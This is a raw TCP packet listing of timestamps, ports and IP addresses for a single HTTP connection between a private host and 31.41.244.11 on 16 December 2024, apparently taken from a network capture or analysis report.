Dec 16, 2024 21:02:37.313097954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.313952923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.314008951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.314090967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.314266920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.314941883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.314989090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.315176964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.315223932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.315984964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.316035986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.316063881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.316163063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.316943884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.316987991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.316998959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.317039013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.318036079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.318082094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.318097115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.318140984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.318979979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.319031954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.319112062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.319184065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.319983006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.320031881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.320128918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.320178986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.321011066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.321058989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.321156979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.321197033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.321976900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.322083950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.322112083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.322155952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.323004007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.323045969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.323090076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.323131084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.324024916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.324069023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.324079990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.324122906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.325134993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.325179100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.325227976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.325273037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.326056004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.326098919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.326111078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.326152086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.326993942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.327100992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.327147007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.328067064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.328109026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.328201056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.328391075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.329061031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.329113960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.329127073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.329163074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.330034018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.330082893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.330123901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.330224991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.331238985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.331284046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.331476927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.331532001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.333156109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.333180904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.333205938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.333237886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.333947897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.333993912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.334016085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.334058046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.334666967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.334712029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.334728003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.334779024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.335381985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.335427046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.474822998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.474843979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.474910021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.475007057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.475024939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.475056887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.475089073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.475881100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.475925922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.475965023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.476005077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.476896048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.476942062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.477185011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.477245092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.477699041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.477754116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.477783918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.477828026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.478666067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.478713036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.478795052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.478840113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.479731083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.479758978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.479778051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.479798079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.480662107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.480707884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.480745077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.480787992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.481659889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.481707096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.481798887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.481843948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.482675076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.482722998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.482739925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.482783079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.483853102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.483880997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.483897924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.483913898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.484723091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.484770060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.484795094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.484834909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.485682011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.485754013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.485797882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.485850096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.486716032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.486764908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.486766100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.486800909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.487711906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.487833977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.487844944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.487874031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.488725901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.488774061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.488801003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.488845110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.489744902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.489795923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.489811897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.489854097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.490753889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.490797043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.490849972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.490897894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.491751909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.491800070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.491847038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.491890907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.492747068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.492791891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.492971897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.493016958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.493710995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.493753910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.493832111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.493876934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.494786024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.494841099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.494865894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.494909048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.495820999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.495871067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.495889902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.495932102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.496826887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.496871948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.496918917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.496963024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.497786999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.497832060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.497972012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.498028994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.498835087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.498852015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.498878956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.498894930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.499798059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.499847889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.499948978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.499996901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.500791073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.500864029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.500905991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.500948906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.501791000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.501832008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.502011061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.502161026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.502861023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.502898932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.502945900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.502990007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.503786087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.503829956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.503901005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.503945112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.504857063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.504913092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.505042076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.505100012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.505903959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.505975008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.505989075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.506033897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.506865025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.506910086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.506958008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.507002115 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.507838964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.507903099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.508069038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.508117914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.508855104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.508903027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.509041071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.509087086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.509907007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.509949923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.510050058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.510140896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.511040926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.511085987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.511229992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.511276960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.511924028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.511970043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.511970043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.512015104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.512892008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.512938023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.513015985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.513060093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.514087915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.514131069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.514161110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.514204979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.514991999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.515036106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.515105963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.515151978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.515981913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.516033888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.516083956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.516154051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.516916990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.516989946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.517036915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.517081022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.517955065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.518003941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.518073082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.518146038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.518955946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.519006014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.519040108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.519083023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.520016909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.520061016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.520117998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.520160913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.520970106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.521018028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.521063089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.521109104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.521966934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.522015095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.522056103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.522104979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.522972107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.523020029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.523066998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.523113012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.523968935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.524069071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.524086952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.524130106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.524981022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.525027990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.525121927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.525170088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.526024103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.526093960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.526202917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.526344061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.527070045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.527098894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.527120113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.527136087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.666949034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.667002916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.667032003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.667083979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.667399883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.667440891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.667522907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.667570114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.668180943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.668230057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.668365955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.668412924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.669181108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.669226885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.669250965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.669295073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.669706106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.669765949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.669819117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.669874907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.670742035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.670835972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.670876026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.671380997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.671753883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.671809912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.671890974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.671931982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.672772884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.672827005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.672894955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.672938108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.673755884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.673811913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.673858881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.674086094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.674756050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.674814939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.674864054 CET	80	49812	31.41.244.11	192.168.2.4
